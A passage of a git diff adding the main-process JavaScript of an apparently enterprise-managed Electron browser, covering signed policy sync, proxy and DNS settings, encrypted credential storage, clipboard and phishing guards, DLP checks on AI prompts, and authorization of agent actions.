response.on('end',()=>{try{resolve({status:response.statusCode,body:JSON.parse(Buffer.concat(chunks).toString('utf8'))});}catch{reject(Error('Invalid local JSON response'));}}); + }); + request.on('error',reject);request.end(payload); + }); +} +module.exports={postLoopback}; diff --git a/apps/browser/main.cjs b/apps/browser/main.cjs new file mode 100644 index 0000000..87cc2f5 --- /dev/null +++ b/apps/browser/main.cjs @@ -0,0 +1,631 @@ +const { app, BrowserWindow, WebContentsView, ipcMain, session, safeStorage, shell, dialog, powerMonitor, clipboard, Menu } = require('electron'); +const {assertSecureStartup}=require('./startup-security.cjs'); +const {assertPolicyAssignment}=require('./policy-assignment.cjs'); +assertSecureStartup(app.commandLine); +// Force Chromium sandboxing globally before any renderer is created. The subframe +// preload option below never grants a Node engine: native proof tests verify this. +app.enableSandbox(); +const fs = require('node:fs'); +const path = require('node:path'); +const os = require('node:os'); +const { pathToFileURL } = require('node:url'); +const {createDiagnostics}=require('./diagnostics.cjs'); +const diagnostics=createDiagnostics(); +function diagnosticContext(extra={}){return {policyVersion:policy?.version||0,...(device?.id?{deviceId:device.id}:{}),...extra};} +function diagnosticSpan(name,attributes,operation){ + // Instrumentation never replaces, skips or retries a security operation. + let started=false;const run=()=>{started=true;return Promise.resolve(operation()).then(result=>{if(['allow','block','deny','unknown'].includes(result?.decision)){try{diagnostics.event(name,diagnosticContext({...attributes,decision:result.decision}));}catch{}}return result;});}; + try{return diagnostics.span(name,diagnosticContext(attributes),run);}catch(error){if(started)throw error;return run();} +} +let diagnosticsConfiguration=''; +function configureDiagnostics(config){const value=config||{enabled:false},context=diagnosticContext(),key=JSON.stringify([value,context]);if(key===diagnosticsConfiguration)return;try{diagnostics.configure(value,context);diagnosticsConfiguration=key;}catch{diagnosticsConfiguration='';try{diagnostics.configure({enabled:false});}catch{}}} +function diagnosticCorrelation(){try{const ids=diagnostics.correlation?.();return /^[a-f0-9]{32}$/.test(ids?.traceId||'')&&/[1-9a-f]/.test(ids.traceId)&&/^[a-f0-9]{16}$/.test(ids?.spanId||'')&&/[1-9a-f]/.test(ids.spanId)?{traceId:ids.traceId,spanId:ids.spanId}:{};}catch{return {};}} +let win,view,browserSession,managementSession,core,device,policy,ready=false,syncing=false,aiPanel=false,vaultPanel=false,vault,vaultTimer; +let chromeHeight=104,leftSidebar=false,startPage=false,overviewPanel=false,toolsOpen=false,pageTitle='',pageColor='#edf1f6'; +const {createTabRegistry}=require('./tab-registry.cjs'); +let tabs,tabsRevision=0; +function activeTab(){return tabs?.active();} +function tabContext(id,{foreground=true}={}){const tab=id?tabs.get(id):activeTab();if(!tab)throw Error('No native browser tab');return tabs.context(tab.id,{foreground});} +function currentTabContext(token){return ready&&token?.policyVersion===policy?.version&&tabs.current(token)&&Date.parse(policy?.expiresAt)>Date.now();} +function selectTab(id){const target=tabs.get(id);if(!target.guarded)throw Error('Native tab security is still initializing');const changed=target!==activeTab();const tab=tabs.activate(id);if(changed){win.webContents.focus();vault?.lock();vaultPanel=false;}view=tab.view;startPage=tab.startPage;pageTitle=tab.title;pageColor=tab.color;layout();return tab;} +function blockedTab(){return tabs?.all().find(tab=>tab.security.visualBlocked||tab.security.contentBlocked);} +function stickyBlock(){const tab=blockedTab();return tab&&(tab.security.visualBlocked||tab.security.contentBlocked);} +const {startInspector}=require('./inspection.cjs'); +const {icapRequired,scanEnterprise,scanDownloadEnterprise}=require('./enterprise-inspection.cjs'); +const {createDownloadGate}=require('./download-gate.cjs'); +const {resolverOptions,createNetworkPosture}=require('./network-posture.cjs'); +const networkPosture=createNetworkPosture();let networkTimer,networkChecking=false; +const {startAgentControl}=require('./agent-control.cjs'); +const {createAgentAdapters}=require('./agent-adapters.cjs'); +const {createVault}=require('./vault.cjs'); +const {createDeveloperToolsGuard,developerAssetRequestAllowed}=require('./developer-tools.cjs'); +const {settingsState,sectionVisible,sectionAllowed,featureAllowed,requireFeature,requireSection,validateAppearance}=require('./managed-settings.cjs'); +const {bookmarkState,validateMutation:validateBookmarkMutation,libraryVisible}=require('./bookmarks.cjs'); +let bookmarkBusy=false,personalBookmarks={revision:0,items:[]},bookmarkSnapshotJSON=''; +function effectiveBookmarkPolicy(){return policy?{...policy,browser:{...policy.browser,bookmarks:{...policy.browser.bookmarks,personal:personalBookmarks}}}:null;} +let appearancePreferences={}; +function managedSettings(){return settingsState({policy,ready,preferences:appearancePreferences});} +function requireManagedSection(section){requireSection(managedSettings(),section);} +function requireFeatureSection(section){requireFeature(managedSettings(),section);} +function loadAppearance(){try{appearancePreferences=validateAppearance(JSON.parse(fs.readFileSync(path.join(app.getPath('userData'),'appearance.json'),'utf8')));}catch{appearancePreferences={};}} +function persistAppearance(){fs.writeFileSync(path.join(app.getPath('userData'),'appearance.json'),JSON.stringify(appearancePreferences),{mode:0o600});} +const {fillScript}=require('./password-fill.cjs'); +const {createVisualPhishing,describeScript}=require('./visual-phishing.cjs'); +const {fingerprintPNG}=require('../../packages/core/visual-image.cjs'); +const {hammingDistance}=require('../../packages/core/visual-hash.cjs'); +const {capturePNG}=require('./visual-capture.cjs'); +const {createClipboardGuard}=require('./clipboard-guard.cjs'); +const {clipboardScript}=require('./clipboard-dom.cjs'); +const {attachPageClipboardGuard,disposePageClipboardGuard}=require('./page-clipboard-guard.cjs'); +let clipboardGuard,clipboardCore,clipboardFatal=false; +function installClipboardControls(contents){ + contents.on('before-input-event',(event,input)=>{ + if(input.type!=='keyDown')return; + const key=input.key.toLowerCase(),modifier=(input.control||input.meta)&&!input.alt; + const operation=modifier&&key==='c'||input.control&&key==='insert'?'copy':modifier&&key==='x'||input.shift&&key==='delete'?'cut':modifier&&key==='v'||input.shift&&key==='insert'?'paste':null; + if(operation){event.preventDefault();diagnosticSpan('browser.clipboard',{operation},()=>clipboardGuard?.perform(operation,contents)).catch(()=>{});} + }); + contents.on('context-menu',(_event,params)=>{ + const actions=params.isEditable?['copy','cut','paste']:params.selectionText?['copy']:[]; + if(!actions.length)return; + Menu.buildFromTemplate(actions.map(operation=>({label:operation[0].toUpperCase()+operation.slice(1),click:()=>diagnosticSpan('browser.clipboard',{operation},()=>clipboardGuard?.perform(operation,contents)).catch(()=>{})}))).popup({window:win}); + }); +} +let managementHealthy=false; +function visualDeadline(operation){let timeout;return Promise.race([operation,new Promise((_,reject)=>{timeout=setTimeout(()=>reject(Error('Visual check timed out')),5000);})]).finally(()=>clearTimeout(timeout));} +function checkVisual(...args){return diagnosticSpan('browser.visual',args[0]?.id?{sessionId:args[0].id}:{},()=>checkVisualImpl(...args));} +async function checkVisualImpl(tab=activeTab()){ + if(!tab||tab.view.webContents.isDestroyed())return {decision:'unknown'}; + if(!policy?.security.visualPhishing.enabled)return {decision:'allow'}; + const security=tab.security; + if(!security.visualPending){const operation=security.visualScanner.check({force:true});security.visualPending=operation;operation.finally(()=>{if(security.visualPending===operation)security.visualPending=null;}).catch(()=>{});} + const generation=tab.navigationId,version=policy.version,url=tab.view.webContents.getURL(),result=await security.visualPending; + if(ready&&generation===tab.navigationId&&version===policy.version&&!tab.view.webContents.isDestroyed()&&url===tab.view.webContents.getURL()&&result.decision==='allow')security.visualApproval={generation,version,url}; + if(!tab.view.webContents.isDestroyed()&&generation===tab.navigationId&&version===policy.version&&url===tab.view.webContents.getURL()){if(ready){if(result.decision==='unknown')message='Login protection could not approve this view. Credential actions are held.';emit();}return result;} + return {decision:'unknown',reason:'stale-context'}; +} +async function configureVisualPage(enabled,tab=activeTab()){ + if(!tab)return;tabs.navigation(tab.id);const contents=tab.view.webContents; + if(contents.isDestroyed()||!/^https?:\/\//.test(contents.getURL()))return; + const token=require('node:crypto').randomUUID(); + await new Promise((resolve,reject)=>{ + const handler=(event,value)=>{if(event.sender===contents&&event.senderFrame===contents.mainFrame&&value===token){clearTimeout(timeout);ipcMain.removeListener('managed:visual-configured',handler);resolve();}}; + const timeout=setTimeout(()=>{ipcMain.removeListener('managed:visual-configured',handler);enabled?reject(Error('Visual protection could not initialize')):resolve();},2000); + ipcMain.on('managed:visual-configured',handler);contents.send('managed:visual-config',{enabled,token}); + }); +} +let message='Enroll this browser to receive company policy.',syncTimer,localInspector,auditQueue=[],flushing=false,agentService,agentStarting=false,securityCore; +const recentRequests=new Map(); +const agentFile=()=>path.join(app.getPath('userData'),'agent-connection.json'); +app.commandLine.appendSwitch('disable-http-cache'); +const uiUrl=pathToFileURL(path.join(__dirname,'index.html')).href; +const configPath=()=>path.join(app.getPath('userData'),'enrollment.json'); +const cliRequest=app.commandLine.getSwitchValue('agent-action'),cliConnection=app.commandLine.getSwitchValue('agent-connection'); +if(cliRequest){try{require('./agent-client.cjs').configureClient(cliConnection);}catch{app.exit(1);}} +const ownsBrowserInstance=!!cliRequest||app.requestSingleInstanceLock(); +if(!ownsBrowserInstance)app.quit(); +else if(!cliRequest)app.on('second-instance',()=>{if(win&&!win.isDestroyed()){if(win.isMinimized())win.restore();win.focus();}}); +function requireEncryption(){ + if(!safeStorage.isEncryptionAvailable() || (process.platform==='linux' && safeStorage.getSelectedStorageBackend()==='basic_text'))throw Error('An OS credential store is required. Configure Keychain, Windows DPAPI, or Linux Secret Service.'); +} +function saveDevice(value){requireEncryption();fs.writeFileSync(configPath(),JSON.stringify({encryptedEnrollment:safeStorage.encryptString(JSON.stringify(value)).toString('base64')}),{mode:0o600});} +function loadDevice(){ + if(!fs.existsSync(configPath()))return; + requireEncryption();const d=JSON.parse(fs.readFileSync(configPath(),'utf8'));return JSON.parse(safeStorage.decryptString(Buffer.from(d.encryptedEnrollment,'base64'))); +} +function managementUrl(value){ + const u=new URL(value); + if(u.username||u.password||u.search||u.hash||u.pathname!=='/')throw Error('Enter a management server origin without path or credentials'); + if(u.protocol!=='https:' && !(u.protocol==='http:'&&['localhost','127.0.0.1','[::1]'].includes(u.hostname)))throw Error('Management requires HTTPS; local development may use loopback HTTP.'); + if(process.env.SAFETYNET_MANAGEMENT_URL&&new URL(process.env.SAFETYNET_MANAGEMENT_URL).origin!==u.origin)throw Error('Enrollment must use the administrator-deployed management server'); + return u.origin; +} +const managementRequests=new Map(); +function request(...args){return diagnosticSpan('browser.management',{operation:args[1]==='/api/device/ai'?'ai':args[1]==='/api/device/enroll'?'enroll':'sync'},()=>requestImpl(...args));} +async function requestImpl(server,route,body,credential){ + if(route==='/api/device/policy'){ + if(!device||device.server!==server||device.token!==credential)throw Error('Protected management identity unavailable'); + return require('./management-channel.cjs').protectedPolicyRequest({device,request,save:saveDevice}); + } + const headers={};if(body)headers['content-type']='application/json';if(credential)headers.authorization=`Bearer ${credential}`; + if(route==='/api/device/enroll'||route==='/api/device/sso/poll')headers['x-safetynet-pq-bootstrap']='1'; + const controller=new AbortController(),timer=setTimeout(()=>controller.abort(),route.endsWith('/ai')?65000:10000);managementRequests.set(controller,route); + try{ + const fetcher=managementSession?managementSession.fetch.bind(managementSession):fetch; + const r=await fetcher(`${server}${route}`,{method:body?'POST':'GET',headers,body:body?JSON.stringify(body):undefined,credentials:'omit',redirect:'error',signal:controller.signal}); + const chunks=[];let size=0;for await(const part of r.body){size+=part.length;if(size>5*1024*1024)throw Error('Management response exceeds its limit');chunks.push(part);} + const data=JSON.parse(Buffer.concat(chunks).toString('utf8'));if(!r.ok && r.status!==202){const e=Error('Management request refused');e.status=r.status;throw e;}return data; + }finally{clearTimeout(timer);managementRequests.delete(controller);} +} +function state(){return {bookmarks:bookmarkState({policy:effectiveBookmarkPolicy(),ready,settings:managedSettings()}),settings:managedSettings(),enrolled:!!device,deviceId:device?.id||'',ready,clipboardPending:clipboardGuard?.isPending()||false,...tabs?.summary(),tabsRevision:++tabsRevision,canNavigate:ready||!!(stickyBlock()&&managementHealthy),loginCheckPending:ready&&!!policy?.security.visualPhishing.enabled&&(!activeTab()?.security.visualApproval||activeTab().security.visualApproval.generation!==activeTab().navigationId),message,brand:policy?.brand||{name:'SafetyNet',color:'#137c66'},policyVersion:policy?.version||0,server:device?.server||'',url:view?.webContents.getURL()||'',aiEnabled:ready&&!!policy?.ai.enabled,documentScanEnabled:ready&&policy?.inspection?.documentAnalysisEnabled!==false,passwordManagerEnabled:ready&&!!policy?.passwordManager?.enabled,vaultLocked:vault?.status().locked??true,vaultExists:vault?.status().exists??fs.existsSync(path.join(app.getPath('userData'),'password-vault.json')),agentsEnabled:ready&&!!policy?.agents.enabled,agentConnected:!!agentService};} +function emit(){if(win&&!win.isDestroyed()){const settings=managedSettings();if(!settings.visible)toolsOpen=false;if(!sectionAllowed(settings,'appearance'))chromeHeight=settings.appearance.tabMode==='compact'?64:104;if(!featureAllowed(settings,'ai'))aiPanel=false;if(!featureAllowed(settings,'passwords')){vaultPanel=false;vault?.lock();}if(!libraryVisible(settings))leftSidebar=false;layout();win.webContents.send('managed:state',{...state(),pageTitle,pageColor,windowMaximized:win.isMaximized()});win.setTitle(`S Browser · ${state().brand.name}`);}} +function layout(){const tab=activeTab();if(!win||!tab)return;view=tab.view;startPage=tab.startPage;const [width,height]=win.getContentSize(),left=leftSidebar?240:0;view.setBounds({x:left,y:chromeHeight,width:Math.max(0,width-left-((aiPanel||vaultPanel)?360:0)),height:Math.max(0,height-chromeHeight)});view.setVisible(ready&&tab.guarded&&!startPage&&!overviewPanel&&!toolsOpen);} +async function pageTheme(tab=activeTab()){ + if(!tab||!ready)return;const contents=tab.view.webContents,url=contents.getURL(),context=tabContext(tab.id,{foreground:false});if(!/^https?:\/\//.test(url))return; + try{const result=await contents.executeJavaScriptInIsolatedWorld(999,[{code:`(()=>{if(location.href!==${JSON.stringify(url)})return null;return {color:(document.querySelector('meta[name="theme-color"]')?.content||'').slice(0,32),background:getComputedStyle(document.body||document.documentElement).backgroundColor};})()`}],false); + if(!currentTabContext(context)||!result)return;const hex=/^#[a-f0-9]{6}$/i.test(result.color)?result.color:null,rgb=/^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/.exec(result.background||'');tab.color=hex||(rgb&&rgb.slice(1).every(v=>+v<=255)?'#'+rgb.slice(1).map(v=>(+v).toString(16).padStart(2,'0')).join(''):'#edf1f6');tab.title=contents.getTitle().slice(0,200);if(tab===activeTab()){pageColor=tab.color;pageTitle=tab.title;}emit(); + }catch{} +} +function lockVault(){const unlocked=vault&&!vault.status().locked;vault?.lock();if(unlocked)audit('vault.locked');emit();} +function quarantine(reason){ready=false;if(policy&&Date.parse(policy.expiresAt)<=Date.now())configureDiagnostics({enabled:false});for(const [controller,route] of managementRequests)if(route==='/api/device/ai')controller.abort();message=reason;vaultPanel=false;vault?.lock();tabs?.quarantine();emit();} +function vaultSettings(){return {enabled:ready&&!!policy?.passwordManager?.enabled,allowSaving:!!policy?.passwordManager?.allowSaving,allowAutofill:!!policy?.passwordManager?.allowAutofill,idleLockSeconds:policy?.passwordManager?.idleLockSeconds||300};} +function vaultStatus(){return {...(vault?.status()||{exists:fs.existsSync(path.join(app.getPath('userData'),'password-vault.json')),locked:true}),...vaultSettings()};} +function requireVault(){ + requireFeatureSection('passwords'); + const settings=vaultSettings();if(!settings.enabled||Date.parse(policy.expiresAt)<=Date.now())throw Error('Password manager is disabled or browser access is paused'); + requireEncryption(); + if(!vault||vault.status().idleSeconds!==settings.idleLockSeconds){vault?.lock();vault=createVault({filePath:path.join(app.getPath('userData'),'password-vault.json'),idleSeconds:settings.idleLockSeconds,protect:bytes=>safeStorage.encryptString(bytes.toString('base64')),unprotect:bytes=>Buffer.from(safeStorage.decryptString(bytes),'base64')});} + return vault; +} +function persistAudit(){requireEncryption();fs.writeFileSync(path.join(app.getPath('userData'),'audit-queue.bin'),safeStorage.encryptString(JSON.stringify(auditQueue)),{mode:0o600});} +async function flushAudit(){ + if(!device||flushing||!auditQueue.length)return;flushing=true; + try{for(let n=0;n<100&&auditQueue.length;n++){await request(device.server,'/api/device/events',auditQueue[0],device.token);auditQueue.shift();persistAudit();}} + catch{}finally{flushing=false;} +} +async function audit(kind,ruleId,host,fileFacts){ + if(!device||!policy)return; + // Operational correlation contains no rule text, hostname or forensic payload. + try{diagnostics.event('browser.security',diagnosticContext({decision:kind.endsWith('.block')?'block':kind.endsWith('.denied')?'deny':'unknown'}));}catch{} + if(auditQueue.length>=10000){quarantine('Security event queue is full. Contact your administrator.');return;} + try{const file=fileFacts?require('../../packages/core/transfer-facts.cjs').transferFacts(fileFacts):undefined;auditQueue.push({eventId:require('node:crypto').randomUUID(),kind,...(ruleId?{ruleId}:{}),...(host?{host}:{}),...(file?{file}:{}),...diagnosticCorrelation(),policyVersion:policy.version});persistAudit();flushAudit();} + catch{quarantine('Security events cannot be persisted. Contact your administrator.');} +} +function applyPolicy(envelope){return diagnosticSpan('browser.policy',{},()=>applyPolicyImpl(envelope));} +async function applyPolicyImpl(envelope){ + const next=assertPolicyAssignment(core.verifyPolicy(envelope,device.publicKey,device.minimumVersion||0),device.id); + const nextBookmarks=(await import('../../packages/core/bookmarks.mjs')).verifyBookmarkSnapshot(envelope.bookmarks,device.publicKey,{deviceId:device.id,policyVersion:next.version,minimumRevision:device.bookmarkRevision||0}); + const nextBookmarkJSON=JSON.stringify(nextBookmarks.items); + if(nextBookmarks.revision===(device.bookmarkRevision||0)&&device.bookmarkDigest&&require('node:crypto').createHash('sha256').update(nextBookmarkJSON).digest('hex')!==device.bookmarkDigest||nextBookmarks.revision===personalBookmarks.revision&&bookmarkSnapshotJSON&&nextBookmarkJSON!==bookmarkSnapshotJSON)throw Error('Bookmarks changed without a new revision'); + const acceptBookmarks=()=>{personalBookmarks={revision:nextBookmarks.revision,items:nextBookmarks.items};bookmarkSnapshotJSON=nextBookmarkJSON;device.bookmarkRevision=nextBookmarks.revision;device.bookmarkDigest=require('node:crypto').createHash('sha256').update(nextBookmarkJSON).digest('hex');saveDevice(device);}; + if(process.env.SAFETYNET_POLICY_KEY_FILE&&fs.readFileSync(process.env.SAFETYNET_POLICY_KEY_FILE,'utf8').trim()!==device.publicKey.trim())throw Error('Policy signing key does not match deployment pin'); + if(policy&&next.version===policy.version){ + // Same versions must describe identical policy; reject equivocation. + if(JSON.stringify(next)!==JSON.stringify(policy))throw Error('Policy changed without a new version');acceptBookmarks();if(Date.parse(policy.expiresAt)>Date.now())configureDiagnostics(policy.diagnostics);emit();return; + } + configureDiagnostics({enabled:false});quarantine('Applying company policy…'); + const proxy=next.proxy; + const settings={mode:proxy.mode,...(proxy.mode==='fixed_servers'?{proxyRules:proxy.rules,proxyBypassRules:proxy.bypass}:{}),...(proxy.mode==='pac_script'?{pacScript:proxy.pacUrl}:{})}; + await browserSession.closeAllConnections();await browserSession.setProxy(settings); + await managementSession.closeAllConnections();await managementSession.setProxy(settings); + app.configureHostResolver(resolverOptions(next.enterprise?.dns)); + await browserSession.clearHostResolverCache();recentRequests.clear(); + await managementSession.clearHostResolverCache(); + policy=next;device.minimumVersion=next.version;acceptBookmarks();configureDiagnostics(next.diagnostics); + for(const tab of tabs.all()){await configureVisualPage(next.security.visualPhishing.enabled,tab);if(!next.browser.allowDevTools){tab.security.developerToolsGuard?.close();tab.view.webContents.closeDevTools();}} + if((!next.agents.enabled||next.browser.settings.hiddenSections.includes('agents')||next.browser.settings.lockedSections.includes('agents'))&&agentService){agentService.revoke();await agentService.close();agentService=null;try{fs.unlinkSync(agentFile());}catch{}} + await audit('policy.applied'); +} +async function sync(){ + if(!device||syncing)return;syncing=true; + try{ + const envelope=await request(device.server,'/api/device/policy',null,device.token);await applyPolicy(envelope); + await request(device.server,'/api/device/heartbeat',{policyVersion:policy.version},device.token); + await flushAudit();if(auditQueue.length>=10000)throw Error('Security event queue is full'); + // Mandatory local inspection must be attested before unlocking the browser; + // first user gestures must not consume their scan budget waiting for ACL setup. + if(policy.security.yara.enabled||policy.dlp.semantic.enabled){ + if(!localInspector)throw Error('Required private content inspector is unavailable'); + await diagnosticSpan('browser.parser',{operation:'scan'},()=>localInspector.waitReady()); + } + if(Date.parse(policy.expiresAt)<=Date.now())throw Error('Company policy expired'); + if(clipboardFatal)throw Error('Managed renderer security failed; restart the browser'); + const posture=await diagnosticSpan('browser.network',{operation:'scan'},()=>networkPosture.check(policy.enterprise?.vpn)); + if(!posture.allowed)throw Error('Required corporate network is unavailable. Connect your company VPN.'); + managementHealthy=true; + const blocked=stickyBlock(); + if(blocked&&blocked.policyVersion===policy.version&&(blockedTab()?.security.visualBlocked?policy.security.visualPhishing.enabled:policy.security.content.blockedPhrases.length)){message=blocked.message;ready=false;emit();layout();return;} + for(const tab of tabs.all()){tab.security.visualBlocked=null;tab.security.contentBlocked=null;} + const recovering=!ready;ready=true;tabs.resume(policy.version);message=`Managed · policy v${policy.version}`;emit();layout(); + await ensureAgentAPI(); + if(recovering){for(const tab of tabs.all()){const current=tab.view.webContents.getURL();if(/^https?:\/\//.test(current)&&core.destinationAllowed(current,policy))tab.view.webContents.reload();else if(current!=='about:blank'||tabs.all().length===1)await navigate({url:policy.browser.homeUrl,tabId:tab.id});}emit();} + }catch(e){ + // A deliberate page quarantine aborts in-flight management requests too. + // Preserve that stronger, sticky verdict instead of replacing it with an + // expected cancellation error or treating it as a management outage. + const blocked=stickyBlock(); + if(e.name==='AbortError'&&!ready&&blocked&&message===blocked.message){emit();return;} + managementHealthy=false;quarantine(e.status===401?'Device revoked or credentials rejected. Contact your administrator.':`Browsing paused: ${e.message}`);if(e.status===401){configureDiagnostics({enabled:false});agentService?.revoke();await agentService?.close();agentService=null;try{fs.unlinkSync(agentFile());}catch{}await browserSession.closeAllConnections();await browserSession.clearStorageData();} + } + finally{syncing=false;} +} +async function completeEnrollment(server,result){ + if(device)throw Error('This installation is already enrolled'); + const candidate={server,id:result.id,token:result.token,publicKey:result.publicKey,minimumVersion:0}; + candidate.channelSignatureKey=require('../../packages/core/policy-channel.cjs').verifyIdentity(result.managementChannel,candidate.publicKey); + const channelPin=require('./management-channel.cjs').deploymentPin();if(channelPin&&candidate.channelSignatureKey.trim()!==channelPin)throw Error('Protected management signing pin mismatch'); + // Optional deployment-time key pin strengthens first enrollment beyond TLS trust. + if(process.env.SAFETYNET_POLICY_KEY_FILE && fs.readFileSync(process.env.SAFETYNET_POLICY_KEY_FILE,'utf8').trim()!==candidate.publicKey.trim())throw Error('Management signing key does not match deployment pin'); + const initialPolicy=await require('./management-channel.cjs').protectedPolicyRequest({device:candidate,request,save:()=>{}}); + assertPolicyAssignment(core.verifyPolicy(initialPolicy,candidate.publicKey),candidate.id); + saveDevice(candidate);device=candidate;await sync();return state(); +} +function navigate(...args){return diagnosticSpan('browser.navigation',{},()=>navigateImpl(...args));} +async function navigateImpl(input,captured,options={}){ + const address=typeof input==='string'?input:input?.url; + if(typeof address!=='string'||address.length>4096)throw Error('Invalid address'); + const tab=tabs.get(captured?.sessionId||input?.tabId||activeTab().id),contents=tab.view.webContents; + if(captured&&(!currentTabContext(captured.token)||captured.webContents!==contents))throw Error('Agent context changed'); + const url=address.includes('://')?address:`https://${address}`; + if(!policy||!['https:','http:'].includes(new URL(url).protocol)||!core.destinationAllowed(url,policy))throw Error('Destination is blocked by company policy'); + const blocked=stickyBlock(),documentURL=value=>{const parsed=new URL(value);parsed.hash='';return parsed.href;}; + if(blocked&&managementHealthy&&Date.parse(policy.expiresAt)>Date.now()&&blockedTab()===tab&&documentURL(url)!==documentURL(blocked.checkedURL)){ + for(const record of tabs.all()){record.security.visualBlocked=null;record.security.contentBlocked=null;}ready=true;tabs.resume(policy.version);message='Checking destination…'; + } + if(!ready)throw Error('Browser is not managed and ready'); + if(options.signal?.aborted)throw Error('Agent action cancelled'); + const initial=policy;tab.startPage=false;if(tab===activeTab())startPage=false;layout(); + const abort=()=>contents.stop();options.signal?.addEventListener('abort',abort,{once:true}); + try{await contents.loadURL(url);}finally{options.signal?.removeEventListener('abort',abort);} + if(options.signal?.aborted||!ready||policy!==initial||contents.isDestroyed()||tabs.fromContents(contents.id)!==tab)throw Error('Navigation context changed'); + const refreshed=captured?agentContext(tab.id):null; + if(captured?.token.foreground&&(!refreshed.foreground||captured.token.activation!==refreshed.token.activation))throw Error('Agent foreground changed during navigation'); + emit();return refreshed||state(); +} +function agentContext(id){const tab=id?tabs.get(id):activeTab(),foreground=tab===activeTab();return {ready:ready&&featureAllowed(managedSettings(),'agents'),interactive:foreground&&!tab.startPage&&!overviewPanel&&!toolsOpen,policy,policyVersion:policy?.version,sessionId:tab.id,foreground,token:tabContext(tab.id,{foreground}),webContents:tab.view.webContents,destinationAllowed:core.destinationAllowed};} +function managedAI(...args){return diagnosticSpan('browser.ai',{},()=>managedAIImpl(...args));} +async function managedAIImpl(prompt){ + requireFeatureSection('ai'); + if(!ready||!policy?.ai.enabled)throw Error('AI access is disabled by company policy'); + if(typeof prompt!=='string'||!prompt.trim()||prompt.length>100000)throw Error('Enter a prompt of up to 100,000 characters'); + const initial=policy,verdict=core.inspectForAI(Buffer.from(prompt),initial); + if(verdict.decision==='block'){await audit('dlp.block',verdict.ruleId);throw Error(`Blocked by company policy: ${verdict.ruleId}`);} + if(initial.dlp.semantic.enabled||initial.security.yara.enabled){if(!localInspector)throw Error('Local inspector unavailable');const result=await diagnosticSpan('browser.inspect.local',{bytes:Buffer.byteLength(prompt)},()=>localInspector.inspect(Buffer.from(prompt),initial));if(result.decision!=='allow'&&!core.allowsConfidentialLocal(result,initial))throw Error('Local content policy blocked this prompt');} + const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:Buffer.byteLength(prompt)},()=>scanEnterprise(Buffer.from(prompt),initial,'ai'));if(external.decision!=='allow'){await audit('dlp.block',external.ruleId);throw Error('Company external scanner blocked this prompt');} + if(!ready||policy.version!==initial.version)throw Error('Policy changed during inspection'); + const result=await request(device.server,'/api/device/ai',{prompt},device.token); + if(!ready||policy.version!==initial.version)throw Error('Policy changed during AI request');return result; +} +async function mutateManagedBookmarks(input){ + if(bookmarkBusy||syncing)throw Error('Management update in progress. Try again.'); + const initial=policy,identity=device; + const payload=validateBookmarkMutation(input,{policy:effectiveBookmarkPolicy(),ready,settings:managedSettings(),destinationAllowed:core.destinationAllowed}); + bookmarkBusy=true; + try{ + const result=await request(identity.server,'/api/device/bookmarks',payload,identity.token); + if(policy!==initial||device!==identity)throw Error('Managed policy changed during bookmark update'); + const deadline=Date.now()+12000;while(syncing){if(Date.now()>=deadline)throw Error('Bookmark update awaits management synchronization');await new Promise(resolve=>setTimeout(resolve,50));} + await sync(); + if(!ready||device!==identity||personalBookmarks.revision!==result.revision||policy.version!==result.version)throw Error('Bookmark update requires a fresh signed policy'); + return state(); + }finally{bookmarkBusy=false;} +} +async function ensureAgentAPI(){ + if(!ready||!policy.agents.enabled||!featureAllowed(managedSettings(),'agents')||agentService||agentStarting)return;agentStarting=true; + try{ + const getContext=agentContext; + const actions=createAgentAdapters({getContext,appControls:agentAppControls(),getSessions:()=>tabs.all().map(tab=>({id:tab.id,title:tab.title,foreground:tab===activeTab()})),contextCurrent:currentTabContext,navigate,ai:managedAI, + inspect:async(text,context)=>{ + const aiContext=context.action==='ai'; + let verdict=aiContext?core.inspectForAI(Buffer.from(text),context.policy):core.inspect(Buffer.from(text),context.policy);if(verdict.decision==='block')return verdict; + if(context.policy.dlp.semantic.enabled||context.policy.security.yara.enabled){ + if(!localInspector)return {decision:'block'};const result=await diagnosticSpan('browser.inspect.local',{bytes:Buffer.byteLength(text)},()=>localInspector.inspect(Buffer.from(text),context.policy)); + verdict=aiContext&&core.allowsConfidentialLocal(result,context.policy)?{...result,decision:'allow',classification:'local-only'}:result; + }if(verdict.decision!=='allow')return verdict;const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:Buffer.byteLength(text)},()=>scanEnterprise(Buffer.from(text),context.policy,aiContext?'ai':'upload'));return external.decision==='allow'?verdict:external; + },audit:event=>audit('agent.denied',`${event.action}:${event.outcome}`)}); + for(const action of ['click','type']){const original=actions[action];actions[action]=async(...args)=>{const tab=tabs.get(args[0]?.sessionId||activeTab().id),context=tabContext(tab.id);const checked=await checkVisual(tab);if(!currentTabContext(context)||checked.decision!=='allow')throw Error('Visual login protection has not approved this page');return original(...args);};} + for(const action of Object.keys(actions)){const original=actions[action];actions[action]=(...args)=>diagnosticSpan('browser.agent',{operation:action},()=>original(...args));} + agentService=await startAgentControl({actions, + onError:error=>{if(!app.isPackaged&&process.env.SAFETYNET_SMOKE_ARTIFACTS)fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),`Agent action diagnostic: ${error.reason}\n`);}, + authorize:({action,args,scope})=>{ + if(!ready||!policy?.agents.enabled||Date.parse(policy.expiresAt)<=Date.now()||!policy.agents.scopes.includes(action))return {allowed:false}; + if(action==='sessions'||Object.hasOwn(agentAppControls(),action))return {allowed:true,role:'agent',scopes:[scope]}; + let tab;try{tab=args.sessionId?tabs.get(args.sessionId):activeTab();}catch{return {allowed:false};} + const url=action==='navigate'?args.url:tab.view.webContents.getURL(); + if(!core.destinationAllowed(url,policy))return {allowed:false}; + if(policy.agents.allowedHosts.length&&!policy.agents.allowedHosts.some(pattern=>core.hostMatches(new URL(url).hostname,pattern)))return {allowed:false}; + return {allowed:true,role:'agent',scopes:[scope]}; + },audit:event=>audit(event.outcome==='denied'?'agent.denied':'agent.action',`${event.action}:${event.outcome}`), + persistCredential:async connection=>{const protectedConnection=await require('./dpapi.cjs').capabilityCrypto('protect',JSON.stringify(connection));fs.writeFileSync(agentFile(),JSON.stringify({format:'windows-dpapi-v1',protectedConnection}),{mode:0o600});} + });emit(); + }finally{agentStarting=false;} +} +function dnsGate(...args){return diagnosticSpan('browser.dns',{},()=>dnsGateImpl(...args));} +async function dnsGateImpl(url,currentPolicy){ + const settings=currentPolicy.security.dns; + if(!settings.enabled||!settings.blockedIPs.length)return; + const host=new URL(url).hostname; + 